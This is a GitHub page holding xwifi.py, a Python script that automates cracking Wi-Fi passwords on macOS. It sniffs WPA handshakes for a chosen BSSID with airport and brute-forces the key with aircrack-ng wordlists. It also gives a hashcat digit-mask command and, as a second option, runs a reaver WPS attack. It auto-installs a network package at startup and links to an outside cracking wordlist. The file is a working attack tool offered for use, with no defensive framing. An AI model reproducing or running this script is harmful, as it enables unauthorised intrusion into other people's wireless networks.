-
Notifications
You must be signed in to change notification settings - Fork 30
/
xwifi.py
161 lines (146 loc) · 6.72 KB
/
xwifi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#############################################################
### _____ _ ___ _ _
### |___ /_ ___ __ / |/ _ \(_) |_
### |_ \ \/ / '_ \| | | | | | __|
### ___) > <| |_) | | |_| | | |_
### |____/_/\_\ .__/|_|\___/|_|\__|
### |_|
###
### name: xwifi
### function: auto crack wifi in macOS
### date: 2017-06-07
### author: quanyechavshuo
### blog: http://3xp10it.cc
#############################################################
# 目前只适用于macOS
# test on:macOS sierra 10.12.5
import time
import os
os.system("pip3 install exp10it -U --no-cache-dir --retries 0")
from exp10it import figlet2file
figlet2file("xwifi", 0, True)
time.sleep(1)
from exp10it import get_string_from_command
from exp10it import get_all_file_name
from multiprocessing import Process
import re
import time
import sys
os.system("echo testfor_handshake > /tmp/forhandshakedict.txt")
a = get_string_from_command("ack")
if re.search(r"not found", a, re.I):
input("Please install ack first,eg.brew install ack,after you finished it,press anykey to continue.")
a = get_string_from_command("airport")
if re.search(r"not found", a, re.I):
a = get_string_from_command('''find /System/Library -name "airport" | ack "^/.*/airport$"''')
os.system("ln -s %s /usr/local/bin/airport" % a)
#print("add your airport to path,then run me again.")
a = get_string_from_command("aircrack-ng")
if re.search(r"not found", a, re.I):
input("Please install aircrack-ng first,eg.brew install aircrack-ng,after you finished it,press anykey to continue.")
crackway = input("There are two skills to crack wifi below\n1.aircrack-ng dict based\n2.reaver based(dicts no \
need)\nplease choose your option:>")
if crackway not in ['1', '2']:
print("Wrong,your choose not exist")
sys.exit(1)
if crackway == '1':
tmp=get_string_from_command("airport -s")
if tmp=="":
os.system("cat /tmp/macOSwifi")
else:
print(tmp)
with open("/tmp/macOSwifi","a+") as f:
f.write(tmp)
bssid = input("please input your target bssid you want to crack:>")
with open("/tmp/macOSwifi", 'r+') as f:
content = f.read()
match = re.search(r"%s\s+\S+\s+(\d+)" % bssid, content, re.I)
if not match:
print("Sorry,I can not find you channel,modify your code")
else:
channel = match.group(1)
print("Your bssid's channel is %s,I will sniff on this channel,\nwhen you run me next time,you can try to crack other bssid with the same channel directly if you want." % channel)
interface = input("Please input your network interface,if you don't know,press enter to continue:>")
def worker1():
# sniff握手包
# 下面的命令应该都是在/tmp/下生成.cap文件
os.system('airport %s sniff %s' % (interface, channel))
def worker2():
# 这里进行cap包是否得到handshake的检测
# 这里用aircrack-ng来测试是否已经得到handshake握手包
while 1:
# 每60s检测一次
time.sleep(10)
os.system("aircrack-ng -w /tmp/forhandshakedict.txt -b %s /tmp/*.cap | tee /tmp/xwifiresult.txt" % bssid)
with open("/tmp/xwifiresult.txt", "r+") as f:
content = f.read()
if re.search(r"(no data)|(No valid)", content, re.I) or content == "":
print("I am sniffing a handshake but no one logins the wifi,so you have to wait,keep me running...")
sniffPID = get_string_from_command(
"ps -a | ack '\d+(?=\s+\S+\s+\d+:\d+\.\d+\sairport.*sniff)' -o")
os.system("kill %s" % sniffPID)
os.system("rm /tmp/*.cap")
p1 = Process(target=worker1, args=())
p1.start()
# 下面这里不能join，如果join了就会一直无法运行到下面的continue了
# p1.join()
continue
else:
break
sniffPID = get_string_from_command("ps -a | ack '\d+(?=\s+\S+\s+\d+:\d+\.\d+\sairport.*sniff)' -o")
os.system("kill %s" % sniffPID)
print("Congratulations! Got handshake!")
if crackway == '1':
p1 = Process(target=worker1, args=())
p2 = Process(target=worker2, args=())
p1.start()
p2.start()
p1.join()
p2.join()
choose = input("I will crack the handshake now,there are 2 ways to go:\n1.use aircrack-ng\n2.use hashcat\nyour choose:>")
if choose == '1':
while 1:
dictPath = input("Please input your dict path,I support folder or a dict file,if \
your input is a directory,I will use all files in the directory as dict one by one,if \
you don't have any dict,you can download it from \
http://dx.mqego.com/soft1/wpa2pojiezidian.rar and input the path in your pc\nyour path:>")
if os.path.exists(dictPath) is False:
print("file or path not exist")
continue
else:
break
if os.path.isfile(dictPath) is True:
# 单个字典文件
os.system("aircrack-ng -w %s -b %s /tmp/*.cap | tee /tmp/xwifiresult.txt" % (dictPath, bssid))
else:
# 文件夹字典
allDictList = get_all_file_name(
dictPath, ["txt", "dic", "lst", "dict", "TXT", "DIC", "LST", "DICT"])
for each in allDictList:
eachAbsDictPath = dictPath + "/" + each
os.system("aircrack-ng -w '%s' -b %s /tmp/*.cap | tee /tmp/xwifiresult.txt" %
(eachAbsDictPath, bssid))
with open("/tmp/xwifiresult.txt", "r+") as f:
result = f.read()
if re.search(r"KEY FOUND", result, re.I):
break
if choose == "2":
print("you can crack it after got handshake in below steps:\n将cap文件转成hashcat支持的格式再用hashcat破解:\na.将https://github.com/hashcat/hashcat-utils/releases里面的cap2hccapx.bin放到kali64(vm)下运行得到hccapx文件\nb.然后再运行:b.hashcat -a 3 -m 2500 output.hccapx ?d?d?d?d?d?d?d?d")
if crackway == '2':
a = get_string_from_command("reaver")
if re.search(r"not found", a, re.I):
input("Please install reaver and press any to continue.You can easily install it with:\nbrew install reaver")
#tmp=get_string_from_command("wash -i %s" % interface)
tmp=get_string_from_command("airport -s")
if tmp=="":
os.system("cat /tmp/macOSwifi")
else:
print(tmp)
with open("/tmp/macOSwifi","a+") as f:
f.write(tmp)
bssid = input("please input your target bssid you want to crack:>")
#os.system("cat /tmp/macOSwifi")
interface = input("Please input your network interface:>")
os.system("reaver -i %s -b %s -a -vv" % (interface, bssid))
os.system("rm /tmp/macOSwifi")
os.system("rm /tmp/forhandshakedict.txt")